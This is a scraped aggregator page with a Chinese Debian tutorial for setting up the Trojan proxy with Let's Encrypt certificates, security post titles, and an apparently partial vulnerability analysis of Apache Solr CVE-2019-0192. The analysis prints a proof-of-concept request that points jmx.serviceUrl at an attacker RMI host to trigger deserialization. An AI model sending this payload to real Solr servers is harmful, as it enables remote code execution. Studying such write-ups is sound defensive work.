Aggregator
Application Protection Report 2019, Episode 2: 2018 Breach Trends
Trojan 在 Debian 上的基础安装与配置
此篇教程将会介绍如何在原生纯净 Debian 10 环境下进行最简单最基础的 Trojan 安装与配置。同时,本篇教程将会使用 letsencrypt 作为 CA。
安装 TrojanTrojan 在 Debian 上可以通过 apt 直接从 Debian 源安装。您如果想要自定义安装的话,也可以选择手动编译。本教程仅会覆盖从源安装的方法。
1 sudo apt install trojan 配置 SSL/TLS 证书 获取 SSL/TLS 证书有许多种可以在 Debian 上获取 SSL/TLS 证书的方法,其中效率最高、性价比最高的方法个人认为是 letsencrypt. 本篇将介绍利用 letsencrypt 获取证书的方法。
首先我们需要安装 certbot 包。certbot 将会协助我们在系统上验证域名所有权,获取证书并部署证书。
1 sudo apt install certbot安装完 certbot 之后我们就可以开始获取证书了。在获取证书之前,certbot 首先会验证您域名的所有权,也就是通过各种方式来验证您是否是对希望申请证书的域名拥有合法的完全控制。certbot 提供多种验证方式,此篇教程中仅会介绍最基础的默认验证方式。
certbot 具体语法是:
1 sudo certbot certonly --agree-tos --standalone --no-eff-email -m 【您的邮箱】 -d 【域名】比如,如果我们想要注册 node.flexio.org 的域名,那么我们就需要执行以下命令:
1 sudo certbot certonly --agree-tos --standalone --no-eff-email -m [email protected] -d node.flexio.org注册成功后显示的消息大致如下:
1 2 3 4 5 6 7 Saving debug log to /var/log/letsencrypt/letsencrypt.log Plugins selected: Authenticator standalone, Installer None Obtaining a new certificate Performing the following challenges: http-01 challenge for node.flexio.org Cleaning up challenges Problem binding to port 80: Could not bind to IPv4 or IPv6.如果您希望同时也给网页服务器配置证书的话,也可以选装 python3-certbot-apache 或者 python3-certbot-nginx 等包,并把文中 certbot 命令中的 certonly 去掉。
更改证书权限如果不更改 letsencrypt 的权限并且 Torjan 以 nobody 权限运行,那么 Trojan 进程将会无法读取证书,也就无法启动。这个问题有多种解决方案,这篇教程将会介绍两种解决方案。
1. 创建独立服务用户我们可以给 Trojan 创建一个独立账户,并给这个账户访问证书的权限。
在 Linux 系统上,实现这个效果的逻辑为:
- 创建一个没有 home 目录并且不能登录的服务用户
- 创建一个用户组 certusers
- 将 trojan 添加进 certusers 组
- 将 /etc/letsencrypt 拥有组设置为 certusers
- 在服务账号需要访问文件的上级目录上设置 passthrough 权限
- 让 certusers 用户组拥有读取证书文件的权限
这种解决方案相对专业、精确并且安全。推荐使用这种合理设计的方案,而不是采用让所有人都能读取证书这种不安全的方案。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 创建用户和用户组 useradd -M trojan # 为 Trojan 创建没有 home 的服务用户 usermod -L trojan # 禁止该账户登录使用交互终端 groupadd certusers # 添加一个用户组 usermod -aG certusers trojan # 将 trojan 用户添加进 certusers 组 # 调整权限 # 将 letsencrypt 目录所有权交给 certusers 用户组 chown -R root:certusers /etc/letsencrypt # 让组用户能够 passthrough 访问 archive 和 live 目录 chmod g+x /etc/letsencrypt/archive chmod g+x /etc/letsencrypt/live # 私钥默认权限是 -rw------- # 这条命令给用户组读取该文件内容的权限 chmod g+r /etc/letsencrypt/archive/【您的网站】/privkey1.pem随后编辑 /lib/systemd/system/trojan.service 文件并将 User=nobody 更改为 User=trojan,再运行 systemctl daemon-reload 来重新加载 service 文件。最后运行 systemctl restart trojan 来启动/重启服务。
2. 开放 letsencrypt 证书目录权限这种解决方案较简单,但是非常不安全。如果您有多个服务或运行在同一个服务器上,或者有除您以外的用户可以访问服务器,那么请不要使用这种解决方案。
1 sudo chmod -R 755 /etc/letsencrypt这条命令将会允许服务器上的任何人读取您的私钥,所以非常不推荐在将会长时间稳定运行的服务器上使用这种鲁棒式的配制方法。
配置 Trojan 配置 Trojan 证书我们需要编辑 Trojan 的配置文件,用您喜欢的编辑器打开 /etc/trojan/config.json 文件。您也可以考虑在修改文件之前先对文件进行备份:
1 2 cp /etc/trojan/config.json /etc/trojan/config.json.backup # 备份 cp /etc/trojan/config.json.backup /etc/trojan/config.json # 恢复letsencrypt 获取的证书路径将会遵循 /etc/letsencrypt/live/【域名】/ 的规律。例如,我们上文中为 node.flexio.org 获取的证书就将保存在 /etc/letsencrypt/live/node.flexio.org/,公钥为 /etc/letsencrypt/live/node.flexio.org/fullchain.pem,私钥为 /etc/letsencrypt/live/node.flexio.org/privkey.pem。
接下来我们需要做的就是将 Trojan 配置文件中的秘钥路径替换为我们自己证书的路径,将 cert 的值替换为 /etc/letsencrypt/live/【域名】/fullchain.pem,将 key 的值替换为 /etc/letsencrypt/live/【域名】/privkey.pem。
1 2 3 4 5 6 7 8 { ... "ssl": { "cert": "/etc/letsencrypt/live/node.flexio.org/fullchain.pem", "key": "/etc/letsencrypt/live/node.flexio.org/privkey.pem", } ... }在配置完证书以后,Trojan 就已经可以运行了,如果不希望更改端口和密码的话 (不推荐),可以直接转到 “启动 Trojan 服务”。
配置 Trojan 端口与密码在 Trojan 配置中,local_port 键定义了 Trojan 服务的监听端口,而 password 键的列表则包含了所有的密码。要更改 Trojan 的端口和密码很简单,只需要在配置文件中替换相关的值即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 { ... "run_type": "server", "local_addr": "0.0.0.0", "local_port": Trojan 端口, "remote_addr": "127.0.0.1", "remote_port": 80, "password": [ "密码1", "密码2" ], ... } 启动 Trojan 服务在配置完成后,我们就可以启动 Trojan 服务了。Debian 使用 systemd 管理服务,而用户则使用 systemctl 来管理 systemd。
启动 Trojan 服务:
1 sudo systemctl start trojan停止 Trojan 服务:
1 sudo systemctl stop trojan重载 Trojan 配置文件:
1 sudo systemctl reload trojan Trojan 问题排除您可以在启动 Trojan 服务之后通过 sudo systemctl status trojan 来查看 Trojan 服务状态,如果输出显示红色错误文本的话,那您的配置可能出现了问题。
常见问题以及解决方案
问题 潜在解决方法 无法读取证书 更改 letsencrypt 证书权限 - https://k4yt3x.com/trojan-%E5%9C%A8-debian-%E4%B8%8A%E7%9A%84%E5%9F%BA%E7%A1%80%E5%AE%89%E8%A3%85%E4%B8%8E%E9%85%8D%E7%BD%AE/ - 2019-2024 K4YT3X. All rights reserved.The Leaders of the Future: Tech for Growing Minds
190407 逆向-西湖论剑杯
AWS安全笔记|扯淡与权限
物联网开发之 socket 通信点亮第一个 led 灯 - H4lo
干掉 PHP 不死马
在 AWD 模式下经常碰到不死马, 不干掉的话就会一直被偷 flag, 很难受. 所以研究一下怎么干掉.
190404 逆向-利用溢出修改TLS的re题
Improving the cyber security resilience of New Zealand businesses
4 Areas Where Infosec Facts and Fiction Clash: Mind the Gap Pt. 2
ST03: Cloud Technology Trends with Wayne Anderson and Dan Flaherty
In this episode, we’ll hear from Wayne Anderson, Enterprise Security Architect at McAfee and Dan Flaherty from the cloud security...
The post ST03: Cloud Technology Trends with Wayne Anderson and Dan Flaherty appeared first on McAfee Blog.
Trust and Reputation in the Digital Era
190401 逆向-华硕供应链木马样本分析
linux下hex转ascii - 羊小弟
Apache Solr RCE(CVE-2019-0192)分析复现
挖src碰到了一个solr的环境,然后看到国外有人提交了一个关于solr rce的漏洞。
漏洞链接(https://issues.apache.org/jira/browse/SOLR-13301)
看描述是因为JMX造成的反序列化漏洞。因此分析复现一遍。
POCURL:http://localhost/solr/[corename]/config"
PostBody:
{"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://IP:PORT/obj}}
我本地环境为jdk7u21+solr5.3.0
搭建环境具体过程就不说了,就是ant编译源码然后IDEA挂载跑起来就行。
因为solr有一个类webapp的东西,所以首先查看入口点也就是web.xml
如图所示:
有一个全局的filter,跟进这个filter看一下内容:
Filter函数关键的地方在这里,跟进这个call函数查看一下内容:
这里调用了一个init函数,也就是初始化的操作,跟进这个函数看一下对路由的处理:
相应的代码点功能我都写了注释。这段代码主要是判断路由的情况。而下面这段代码很关键的地方在于设置了action为PROCESS。然后return
至此,初始化的操作完毕,我们也知道了是如何解析URL的,并且将action设为了PROCESS,然后回到call函数,继续看,发现对action有个switch操作,如图所示:
这里我们进入case PROCESS这个分支,核心操作在execute(solrRsp),跟入查看:
这里又继续调用了一个execute函数,跟进查看:
这里调用了关键函数,handleRequest,跟进这个函数查看:
关键点在handleRequestBody函数,有很多类重写了这个函数,我们跟到SolrConfigHandler这个类中去:
当请求方法为POST的时候,调用command.handlePOST(),跟进该函数:
函数第一行的功能是解析POSTbody,将JSON解析为List,因此ops和opsCopy存放的是我们传入的数据。而 overlay是从原来的配置文件中取出的数据,也就是corename/conf/configoverlay.json。如果没有的话,这里是空。
然后将这两个变量带入到了handleCommands函数中继续处理,跟进:
这里根据传入的name来判断进入哪个分支,常量对应表为
我们需要进入SET_PROPERTY分支,该分支调用了一个applySetProp函数,跟进:
这里将name和val单独取出来。带入到该函数末尾的
跟进该函数:
其实就是一个组装键值的过程,然后最后将组装好的jsonObj带入到ConfigOverlay构造函数中:
注意这个props和data此时已经包含了发送的payload。
然后依次返回到handleCommands函数中case分支完成。然后到handleCommands最后的的代码:
首先看到persistConfLocally这个函数,传递了三个参数进去,第一个是resourceloader,第二个是一个字符串常量,值为:
第三个比较重要,是overlay.toByteArray,而这个overlay是上文中return回来的ConfigOverlay对象,那么看一下这个类的toByteArray函数实现:
就是一个值转Json的操作,这里是data,而这个data上文说过,包含了我们的payload。
参数都搞清楚了,那么然后回到persistConfLocally函数,看一下操作:
这个函数功能很简单,就是将包含payload的json数据写入到我们的configoverlay.json文件中。
OK,调用完persistConfLocally之后,又调用了一个reload函数,看一下:
注意红框处的函数,是真正的漏洞触发点。调用了一个getConfig函数,跟进:
这里调用createSolrConfig创建SolrConfig对象,跟进:
继续跟进:
这里new了一个SolrConfig对象,name是一个字符串,值为solrconfig.xml
SolrConfig类的构造函数很长,关键点在
这里设置了jmxconfig的值,首先调用了getNode函数查看solrConfig.xml中是否有jmx节点,如果有(这里是有的)就调用get函数将configoverlay.json中对应的数据取出来,这里有一个get("jmx/@serviceUrl")的操作,其实就是将上文写入configoverlay.json中的远程serviceUrl取出来。另外这jmxconfig是一个JmxConfiguration对象,看一下构造函数:
我们的serviceUrl是第三个参数,被设置为了成员变量serviceUrl的值。
然后继续层层返回,返回到reload函数中:
reload函数中也调用了一个reload函数,这函数中存在真正的触发点,跟入查看:
这里new了一个SolrCore对象,注意第三个参数,coreConfig.getSolrConfig()这个函数其实是返回的上文new的SolrConfig对象,然后跟进SolrCore类的构造函数,该构造函数中有这样一段代码:
跟入initInfoRegistry函数:
这里进入到if分支,该分支里new了一个JmxMonitoredMap对象,注意传入的第三个参数,是config.jmxConfig。也就是SolrConfig的jmxConfig成员,这个成员上文有强调。jmxConfig成员是一个JmxConfiguration对象,它的成员serviceUrl是可控的,包含的是我们的payload。
然后进入JmxMonitoredMap对象的构造函数:
这一段调用JMX,传入可控的serviceUrl,导致反序列化RCE。
后记